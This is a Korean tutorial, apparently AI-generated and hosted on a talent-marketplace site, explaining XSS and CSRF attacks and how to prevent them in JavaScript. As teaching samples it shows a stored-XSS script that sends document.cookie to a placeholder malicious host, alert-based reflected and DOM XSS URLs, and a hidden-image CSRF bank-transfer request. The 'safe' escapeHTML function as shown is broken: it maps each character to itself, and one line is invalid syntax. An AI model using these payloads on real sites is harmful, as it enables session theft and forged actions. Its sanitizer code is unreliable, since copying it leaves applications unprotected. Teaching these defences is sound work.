쪽지발송 성공
Click here
재능넷 이용방법
재능넷 이용방법 동영상편
가입인사 이벤트
판매 수수료 안내
안전거래 TIP
재능인 인증서 발급안내

🌲 지식인의 숲 🌲

🌳 디자인
🌳 음악/영상
🌳 문서작성
🌳 번역/외국어
🌳 프로그램개발
🌳 마케팅/비즈니스
🌳 생활서비스
🌳 철학
🌳 과학
🌳 수학
🌳 역사
해당 지식과 관련있는 인기재능

워드프레스를 설치는 했지만, 그다음 어떻게 해야할지 모르시나요? 혹은 설치가 어렵나요?무료 워드프레스부터 프리미엄 테마까지 설치하여 드립니...

안녕하세요.부동산, ​학원, 재고관리, ​기관/관공서, 기업, ERP, 기타 솔루션, 일반 서비스(웹, 모바일) 등다양한 분야에서 개발을 해왔습니...

10년차 php 프로그래머 입니다. 그누보드, 영카트 외 php로 된 솔루션들 커스터마이징이나 오류수정 등 유지보수 작업이나신규개발도 가능합...

자바스크립트 보안: XSS와 CSRF 방지

2024-10-03 05:30:38

재능넷
조회수 675 댓글수 0

자바스크립트 보안: XSS와 CSRF 방지 🛡️💻

 

 

안녕하세요, 여러분! 오늘은 웹 개발자들에게 매우 중요한 주제인 "자바스크립트 보안"에 대해 이야기해보려고 합니다. 특히 XSS(크로스 사이트 스크립팅)와 CSRF(크로스 사이트 요청 위조)라는 두 가지 주요 보안 위협에 대해 자세히 알아보고, 이를 방지하는 방법에 대해 깊이 있게 살펴보겠습니다. 🕵️‍♂️🔒

웹 애플리케이션의 보안은 현대 디지털 세계에서 가장 중요한 요소 중 하나입니다. 특히 자바스크립트를 사용하는 동적 웹사이트에서는 더욱 그렇죠. 우리가 만드는 웹사이트가 안전하지 않다면, 사용자들의 개인정보가 위험에 노출될 수 있고, 기업의 평판에도 심각한 타격을 줄 수 있습니다. 그래서 오늘은 이 중요한 주제에 대해 뉴스 앵커처럼 재미있고 이해하기 쉽게 설명해드리겠습니다! 😊📺

자, 이제 본격적으로 XSS와 CSRF에 대해 알아볼 텐데요. 이 두 가지 공격 방식은 마치 디지털 세계의 '쌍둥이 악당'과도 같습니다. 둘 다 사용자의 신뢰를 악용하여 피해를 입히는 교활한 방식이죠. 하지만 걱정 마세요! 우리는 이 악당들을 물리칠 수 있는 '디지털 슈퍼히어로'가 될 겁니다. 🦸‍♂️🦸‍♀️

그럼 지금부터 XSS와 CSRF의 세계로 들어가 봅시다. 이 여정이 끝날 때쯤이면, 여러분은 이 위협들을 식별하고 방어할 수 있는 '보안 전문가'가 되어 있을 거예요. 자, 준비되셨나요? 그럼 시작해볼까요! 🚀🔍

1. XSS(크로스 사이트 스크립팅): 디지털 세계의 '트로이 목마' 🐎

XSS, 즉 크로스 사이트 스크립팅은 웹 애플리케이션의 보안 취약점을 이용한 공격 방식입니다. 이 공격은 마치 고대 그리스의 트로이 목마처럼 겉으로는 무해해 보이지만, 내부에 악성 코드를 숨기고 있죠. 😱

XSS 공격은 악의적인 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행되게 하는 방식입니다. 이렇게 하면 공격자는 사용자의 세션을 훔치거나, 웹사이트를 변조하거나, 악의적인 콘텐츠로 리다이렉션할 수 있습니다. 심각한 경우에는 사용자의 컴퓨터를 완전히 장악할 수도 있죠! 😨

XSS 공격은 크게 세 가지 유형으로 나눌 수 있습니다:

  • 1 저장형 XSS (Stored XSS)
  • 2 반사형 XSS (Reflected XSS)
  • 3 DOM 기반 XSS

각각의 유형에 대해 자세히 알아보도록 하겠습니다. 🧐

1.1 저장형 XSS (Stored XSS) 📦

저장형 XSS는 가장 위험한 형태의 XSS 공격입니다. 이 공격에서는 악성 스크립트가 서버에 영구적으로 저장되어, 해당 페이지를 방문하는 모든 사용자에게 영향을 미칩니다.

예시 시나리오: 악의적인 사용자가 온라인 포럼의 댓글 섹션에 다음과 같은 스크립트를 포함한 댓글을 작성합니다.

<script>
  document.location='http://악성사이트.com/쿠키훔치기?c='+document.cookie;
</script>

이 댓글이 서버에 저장되고, 다른 사용자가 이 페이지를 방문할 때마다 그들의 쿠키 정보가 악성 사이트로 전송됩니다. 😱

저장형 XSS는 특히 위험한데, 그 이유는 다음과 같습니다:

  • 한 번의 공격으로 많은 사용자에게 영향을 미칠 수 있습니다.
  • 사용자가 특별한 행동을 하지 않아도 공격에 노출됩니다.
  • 악성 스크립트가 서버에 저장되어 있어 지속적인 위협이 됩니다.

저장형 XSS를 방지하기 위해서는 사용자 입력을 철저히 검증하고 sanitize(살균)해야 합니다. 모든 사용자 입력은 잠재적으로 위험하다고 가정하고 접근해야 합니다. 🛡️

1.2 반사형 XSS (Reflected XSS) 🪞

반사형 XSS는 악성 스크립트가 요청과 함께 서버로 전송되고, 서버가 이를 즉시 사용자에게 "반사"하는 형태의 공격입니다. 이 공격은 주로 URL 파라미터나 폼 입력을 통해 이루어집니다.

예시 시나리오: 공격자가 다음과 같은 악성 링크를 만들어 사용자에게 전송합니다.

https://취약한사이트.com/search?q=<script>alert('XSS')</script>

사용자가 이 링크를 클릭하면, 서버는 검색 결과 페이지를 반환하면서 스크립트를 그대로 포함시킵니다. 결과적으로 사용자의 브라우저에서 악성 스크립트가 실행됩니다. 😨

반사형 XSS의 특징:

  • 공격이 일회성이며, 특정 사용자를 대상으로 합니다.
  • 주로 피싱 이메일이나 악성 링크를 통해 전파됩니다.
  • 사용자의 행동(링크 클릭 등)이 필요합니다.

반사형 XSS를 방지하기 위해서는 모든 사용자 입력을 적절히 인코딩하고, 출력 시 이스케이프 처리를 해야 합니다. 또한, Content Security Policy (CSP)를 구현하여 추가적인 보호 계층을 만들 수 있습니다. 🛡️

1.3 DOM 기반 XSS 🌳

DOM 기반 XSS는 클라이언트 측에서 발생하는 XSS의 한 형태입니다. 이 공격은 페이지의 DOM(Document Object Model)을 수정하여 악성 스크립트를 실행합니다.

예시 시나리오: 웹페이지에 다음과 같은 자바스크립트 코드가 있다고 가정해봅시다.

var name = document.location.hash.substr(1);
document.write("Welcome, " + name);

공격자가 다음과 같은 URL을 만들어 사용자에게 전송합니다:

https://취약한사이트.com/page.html#<script>alert('XSS')</script>

사용자가 이 링크를 클릭하면, 페이지의 자바스크립트가 URL의 해시 부분을 그대로 DOM에 삽입하여 악성 스크립트가 실행됩니다. 😱

DOM 기반 XSS의 특징:

  • 서버를 거치지 않고 클라이언트 측에서만 발생합니다.
  • 페이지 소스 코드만으로는 취약점을 발견하기 어려울 수 있습니다.
  • 주로 클라이언트 측 스크립트의 부적절한 데이터 처리로 인해 발생합니다.

DOM 기반 XSS를 방지하기 위해서는 클라이언트 측 스크립트에서 사용자 입력을 안전하게 처리해야 합니다. 또한, 신뢰할 수 없는 데이터를 DOM에 직접 삽입하는 것을 피해야 합니다. 🛡️

1.4 XSS 방어 전략 🛡️

XSS 공격을 방지하기 위해서는 여러 가지 전략을 동시에 사용해야 합니다. 다음은 주요 방어 전략들입니다:

  1. 입력 검증 및 살균 (Input Validation and Sanitization)
    • 모든 사용자 입력을 의심하고 철저히 검증합니다.
    • 허용된 문자만 입력받도록 화이트리스트 방식을 사용합니다.
    • HTML 인코딩을 사용하여 특수 문자를 안전하게 처리합니다.
  2. 출력 인코딩 (Output Encoding)
    • 동적으로 생성된 콘텐츠를 출력할 때 항상 적절한 인코딩을 적용합니다.
    • 컨텍스트에 따라 다른 인코딩 방식을 사용합니다 (HTML, JavaScript, CSS, URL 등).
  3. 콘텐츠 보안 정책 (Content Security Policy, CSP)
    • 허용된 스크립트 소스만 실행되도록 제한합니다.
    • 인라인 스크립트와 eval() 사용을 제한합니다.
  4. HttpOnly 쿠키 사용
    • 중요한 쿠키(예: 세션 ID)에 HttpOnly 플래그를 설정하여 JavaScript를 통한 접근을 방지합니다.
  5. 프레임워크 및 라이브러리 사용
    • XSS 방지 기능이 내장된 검증된 프레임워크와 라이브러리를 사용합니다.
    • 예: React, Angular, Vue.js 등은 기본적으로 XSS 방지 기능을 제공합니다.

이러한 방어 전략을 적용하면 XSS 공격으로부터 웹 애플리케이션을 상당히 안전하게 보호할 수 있습니다. 하지만 보안은 지속적인 과정이라는 것을 명심해야 합니다. 새로운 취약점과 공격 기법이 계속해서 등장하기 때문에, 항상 최신 보안 동향을 파악하고 대응책을 마련해야 합니다. 💪

🌟 XSS 방어의 실제 적용 예시

자, 이제 실제로 XSS 방어를 어떻게 적용할 수 있는지 간단한 예시를 통해 살펴보겠습니다. 여기 사용자 입력을 받아 화면에 표시하는 간단한 자바스크립트 코드가 있습니다:

// 취약한 코드
function displayUserInput() {
  var userInput = document.getElementById('userInput').value;
  document.getElementById('output').innerHTML = userInput;
}

// 안전한 코드
function displayUserInputSafely() {
  var userInput = document.getElementById('userInput').value;
  var safeInput = escapeHTML(userInput);
  document.getElementById('output').textContent = safeInput;
}

function escapeHTML(str) {
  return str.replace(/[&<>"']/g, function(match) {
    return {
      '&': '&',
      '<': '<',
      '>': '>',
      '"': '"',
      "'": '''
    }[match];
  });
}

첫 번째 함수 displayUserInput()은 XSS 공격에 취약합니다. 사용자가 입력한 HTML이나 스크립트가 그대로 실행될 수 있기 때문입니다.

두 번째 함수 displayUserInputSafely()는 다음과 같은 방식으로 XSS를 방지합니다:

  1. 사용자 입력을 escapeHTML() 함수를 통해 안전하게 인코딩합니다.
  2. innerHTML 대신 textContent를 사용하여 HTML 해석을 방지합니다.

이렇게 간단한 방법만으로도 대부분의 XSS 공격을 효과적으로 방지할 수 있습니다. 😊

XSS 공격은 매우 위험하지만, 적절한 방어 전략을 사용하면 충분히 예방할 수 있습니다. 개발자로서 우리는 항상 보안을 최우선으로 생각하고, 사용자의 데이터를 안전하게 보호해야 합니다. 🛡️👨‍💻

다음으로는 CSRF 공격에 대해 알아보겠습니다. XSS와 마찬가지로 CSRF도 웹 애플리케이션의 주요 보안 위협 중 하나입니다. 그럼 CSRF의 세계로 들어가 볼까요? 🚀

2. CSRF(크로스 사이트 요청 위조): 디지털 세계의 '사기꾼' 🎭

CSRF, 즉 크로스 사이트 요청 위조는 공격자가 인증된 사용자의 권한을 도용하여 원하지 않는 작업을 수행하도록 만드는 공격 기법입니다. 이는 마치 디지털 세계의 사기꾼이 여러분의 신분을 도용하여 여러분 명의로 행동하는 것과 같습니다. 😱

CSRF 공격은 사용자가 자신도 모르는 사이에 공격자가 의도한 행동을 수행하게 만듭니다. 이는 사용자의 브라우저가 자동으로 인증 정보(예: 쿠키)를 포함시키는 특성을 악용합니다. 결과적으로 공격자는 사용자의 권한으로 중요한 작업을 수행할 수 있게 됩니다. 😨

2.1 CSRF 공격의 작동 원리 🎭

CSRF 공격이 어떻게 이루어지는지 단계별로 살펴보겠습니다:

  1. 사용자 인증: 사용자가 취약한 웹사이트에 로그인합니다.
  2. 세션 유지: 웹사이트는 사용자의 브라우저에 인증 쿠키를 저장합니다.
  3. 악성 사이트 방문: 사용자가 공격자의 악성 웹사이트를 방문합니다.
  4. 요청 위조: 악성 사이트는 취약한 웹사이트로 요청을 보내도록 사용자의 브라우저를 속입니다.
  5. 자동 인증: 브라우저는 요청에 자동으로 인증 쿠키를 포함시킵니다.
  6. 악의적인 작업 수행: 취약한 웹사이트는 이 요청을 정상적인 것으로 간주하고 작업을 수행합니다.

예시 시나리오: 온라인 뱅킹 웹사이트에서 돈을 이체하는 과정을 생각해봅시다.

  1. 사용자가 온라인 뱅킹에 로그인합니다.
  2. 공격자가 사용자에게 악성 이메일을 보냅니다.
  3. 이메일에는 다음과 같은 HTML이 포함되어 있습니다:
<img src="https://bank.com/transfer?to=attacker&amount=1000000" width="0" height="0" />

사용자가 이 이메일을 열면, 브라우저는 자동으로 이 이미지를 로드하려고 시도합니다. 이 과정에서 사용자의 인증 쿠키가 함께 전송되어, 실제로 돈이 이체될 수 있습니다! 😱

2.2 CSRF 공격의 위험성 ⚠️

CSRF 공격은 다음과 같은 이유로 매우 위험합니다:

  • 사용자가 모르는 사이에 중요한 작업이 수행될 수 있습니다.
  • 공격이 은밀하게 이루어져 탐지하기 어렵습니다.
  • 사용자의 권한을 그대로 이용하기 때문에, 높은 권한을 가진 사용자(예: 관리자)를 대상으로 할 경우 피해가 막대합니다.
  • 금전적 손실, 개인정보 유출, 계정 탈취 등 심각한 결과를 초래할 수 있습니다.

CSRF 공격은 사용자의 신뢰를 악용하는 교묘한 방식이기 때문에, 사용자 교육만으로는 방지하기 어렵습니다. 따라서 개발자와 시스템 관리자가 적극적으로 대응해야 합니다. 🛡️

2.3 CSRF 방어 전략 🛡️

CSRF 공격을 방지하기 위해 다음과 같은 방어 전략을 사용할 수 있습니다:

  1. CSRF 토큰 사용
    • 각 요청마다 고유한 토큰을 생성하여 포함시킵니다.
    • 서버는 요청을 처리하기 전에 토큰의 유효성을 검증합니다.
    • 이는 가장 효과적인 CSRF 방어 방법 중 하나입니다.
  2. Same-Site 쿠키 속성 사용
    • 쿠키에 SameSite 속성을 설정하여 크로스 사이트 요청 시 쿠키 전송을 제한합니다.
    • 예: Set-Cookie: session=123; SameSite=Strict
  3. 사용자 상호작용 요구
    • 중요한 작업 수행 시 사용자의 추가 확인을 요구합니다 (예: 비밀번호 재입력).
  4. Referer 검증
    • 요청의 Referer 헤더를 검사하여 요청의 출처를 확인합니다.
    • 단, Referer 헤더는 조작될 수 있으므로 보조적인 방법으로만 사용해야 합니다.
  5. Custom Request Headers
    • AJAX 요청에 사용자 정의 헤더를 추가합니다.
    • 브라우저의 Same-Origin Policy로 인해 다른 도메인에서는 이 헤더를 추가할 수 없습니다.

🌟 CSRF 방어의 실제 적용 예시

CSRF 토큰을 사용하여 폼을 보호하는 간단한 예시를 살펴보겠습니다:

// 서버 측 코드 (Node.js와 Express 사용)
const express = require('express');
const csrf = require('csurf');
const app = express();

// CSRF 미들웨어 설정
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  // CSRF 토큰을 포함한 폼 렌더링
  res.send(`
    <form action="/submit" method="POST">
      <input type="hidden" name="_csrf" value="${req.csrfToken()}">
      <input type="text" name="username">
      <button type="submit">Submit</button>
    </form>
  `);
});

app.post('/submit', csrfProtection, (req, res) => {
  // CSRF 토큰이 유효하면 요청 처리
  res.send('Form submitted successfully!');
});

// 클라이언트 측 코드 (AJAX 요청 시)
fetch('/submit', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'CSRF-Token': csrfToken // 서버에서 제공한 CSRF 토큰
  },
  body: JSON.stringify(data)
});

이 예시에서는 서버가 각 폼 요청마다 고유한 CSRF 토큰을 생성하고, 클라이언트는 이 토큰을 폼 제출 시 함께 전송합니다. 서버는 토큰을 검증하여 요청의 정당성을 확인합니다. 😊

CSRF 공격은 교묘하고 위험하지만, 적절한 방어 전략을 사용하면 효과적으로 방지할 수 있습니다. 개발자로서 우리는 항상 보안을 염두에 두고, 사용자의 데이터와 행동을 보호해야 합니다. 🛡️👨‍💻

결론: 안전한 웹 개발을 위한 우리의 역할 🌟

지금까지 우리는 XSS와 CSRF, 두 가지 주요 웹 보안 위협에 대해 자세히 알아보았습니다. 이 두 공격 방식은 서로 다르지만, 모두 사용자의 신뢰를 악용하고 웹 애플리케이션의 취약점을 이용한다는 공통점이 있습니다.

개발자로서 우리의 책임은 단순히 기능을 구현하는 것에 그치지 않습니다. 사용자의 데이터를 보호하고, 안전한 웹 환경을 만드는 것도 우리의 중요한 임무입니다. 보안은 선택사항이 아닌 필수사항이며, 개발 과정의 모든 단계에서 고려되어야 합니다.

다음은 안전한 웹 개발을 위한 몇 가지 핵심 포인트입니다:

  • 보안 의식 고취: 팀 전체가 보안의 중요성을 인식하고 항상 염두에 두어야 합니다.
  • 지속적인 학습: 보안 위협은 계속 진화하므로, 최신 보안 동향과 기술을 꾸준히 학습해야 합니다.
  • 보안 테스트: 정기적인 보안 감사와 침투 테스트를 통해 취약점을 사전에 발견하고 수정합니다.
  • 보안 프레임워크 활용: 검증된 보안 라이브러리와 프레임워크를 사용하여 기본적인 보안을 확보합니다.
  • 사용자 교육: 사용자에게도 기본적인 보안 수칙을 안내하여 전반적인 보안 수준을 높입니다.

XSS와 CSRF는 웹 보안의 빙산의 일각에 불과합니다. SQL 인젝션, 세션 하이재킹, 중간자 공격 등 다양한 보안 위협이 존재합니다. 하지만 우리가 오늘 배운 원칙들 - 입력 검증, 출력 인코딩, 적절한 인증 및 권한 부여 - 은 대부분의 보안 위협에 대응하는 기본이 됩니다.

안전한 웹 애플리케이션을 만드는 것은 결코 쉬운 일이 아닙니다. 하지만 우리의 노력으로 사용자들이 안심하고 서비스를 이용할 수 있다는 것을 기억하세요. 여러분 모두가 보안 전문가는 아닐 수 있지만, 기본적인 보안 원칙을 이해하고 적용하는 것만으로도 큰 차이를 만들 수 있습니다.

자, 이제 우리는 XSS와 CSRF라는 디지털 세계의 '악당들'에 대해 잘 알게 되었습니다. 이 지식을 바탕으로 더 안전한 웹 세상을 만들어 나갑시다. 여러분의 코드 한 줄 한 줄이 사용자를 보호하는 방패가 될 수 있다는 것을 잊지 마세요. 함께 노력하면, 우리는 반드시 더 안전한 디지털 세상을 만들 수 있습니다! 💪🌐🛡️

여러분의 웹 개발 여정에 행운이 함께하기를 바랍니다. 안전하고 즐거운 코딩 되세요! 😊👨‍💻👩‍💻

관련 키워드

  • XSS
  • CSRF
  • 웹 보안
  • 자바스크립트 보안
  • 입력 검증
  • 출력 인코딩
  • CSRF 토큰
  • Content Security Policy
  • Same-Site 쿠키
  • 보안 프레임워크

지적 재산권 보호

지적 재산권 보호 고지

  1. 저작권 및 소유권: 본 컨텐츠는 재능넷의 독점 AI 기술로 생성되었으며, 대한민국 저작권법 및 국제 저작권 협약에 의해 보호됩니다.
  2. AI 생성 컨텐츠의 법적 지위: 본 AI 생성 컨텐츠는 재능넷의 지적 창작물로 인정되며, 관련 법규에 따라 저작권 보호를 받습니다.
  3. 사용 제한: 재능넷의 명시적 서면 동의 없이 본 컨텐츠를 복제, 수정, 배포, 또는 상업적으로 활용하는 행위는 엄격히 금지됩니다.
  4. 데이터 수집 금지: 본 컨텐츠에 대한 무단 스크래핑, 크롤링, 및 자동화된 데이터 수집은 법적 제재의 대상이 됩니다.
  5. AI 학습 제한: 재능넷의 AI 생성 컨텐츠를 타 AI 모델 학습에 무단 사용하는 행위는 금지되며, 이는 지적 재산권 침해로 간주됩니다.

재능넷은 최신 AI 기술과 법률에 기반하여 자사의 지적 재산권을 적극적으로 보호하며,
무단 사용 및 침해 행위에 대해 법적 대응을 할 권리를 보유합니다.

© 2024 재능넷 | All rights reserved.

댓글 작성
0/2000

댓글 0개

해당 지식과 관련있는 인기재능

JAVA,JSP,PHP,javaScript(jQuery), 등의 개발을 전문적으로 하는 개발자입니다^^보다 저렴한 금액으로, 최고의 퀄리티를 내드릴 것을 자신합니다....

 기본 작업은 사이트의 기능수정입니다.호스팅에 보드 설치 및 셋팅. (그누, 제로, 워드, 기타 cafe24,고도몰 등)그리고 각 보드의 대표적인 ...

 안녕하세요. 개발자 GP 입니다. 모든 사이트 개발은 웹사이트 제작시 웹표준을 준수하여 진행합니다.웹표준이란 국제표준화 단체...

안녕하세요.자기소개는 아래에 썼으니 참고부탁드리구요.(가끔 개인적 사정으로 인해 연락을 못받거나 답변이 늦어질 수 있습니다. 양해부탁...

📚 생성된 총 지식 10,221 개

  • (주)재능넷 | 대표 : 강정수 | 경기도 수원시 영통구 봉영로 1612, 7층 710-09 호 (영통동) | 사업자등록번호 : 131-86-65451
    통신판매업신고 : 2018-수원영통-0307 | 직업정보제공사업 신고번호 : 중부청 2013-4호 | jaenung@jaenung.net

    (주)재능넷의 사전 서면 동의 없이 재능넷사이트의 일체의 정보, 콘텐츠 및 UI등을 상업적 목적으로 전재, 전송, 스크래핑 등 무단 사용할 수 없습니다.
    (주)재능넷은 통신판매중개자로서 재능넷의 거래당사자가 아니며, 판매자가 등록한 상품정보 및 거래에 대해 재능넷은 일체 책임을 지지 않습니다.

    Copyright © 2024 재능넷 Inc. All rights reserved.
ICT Innovation 대상
미래창조과학부장관 표창
서울특별시
공유기업 지정
한국데이터베이스진흥원
콘텐츠 제공서비스 품질인증
대한민국 중소 중견기업
혁신대상 중소기업청장상
인터넷에코어워드
일자리창출 분야 대상
웹어워드코리아
인터넷 서비스분야 우수상
정보통신산업진흥원장
정부유공 표창장
미래창조과학부
ICT지원사업 선정
기술혁신
벤처기업 확인
기술개발
기업부설 연구소 인정
마이크로소프트
BizsPark 스타트업
대한민국 미래경영대상
재능마켓 부문 수상
대한민국 중소기업인 대회
중소기업중앙회장 표창
국회 중소벤처기업위원회
위원장 표창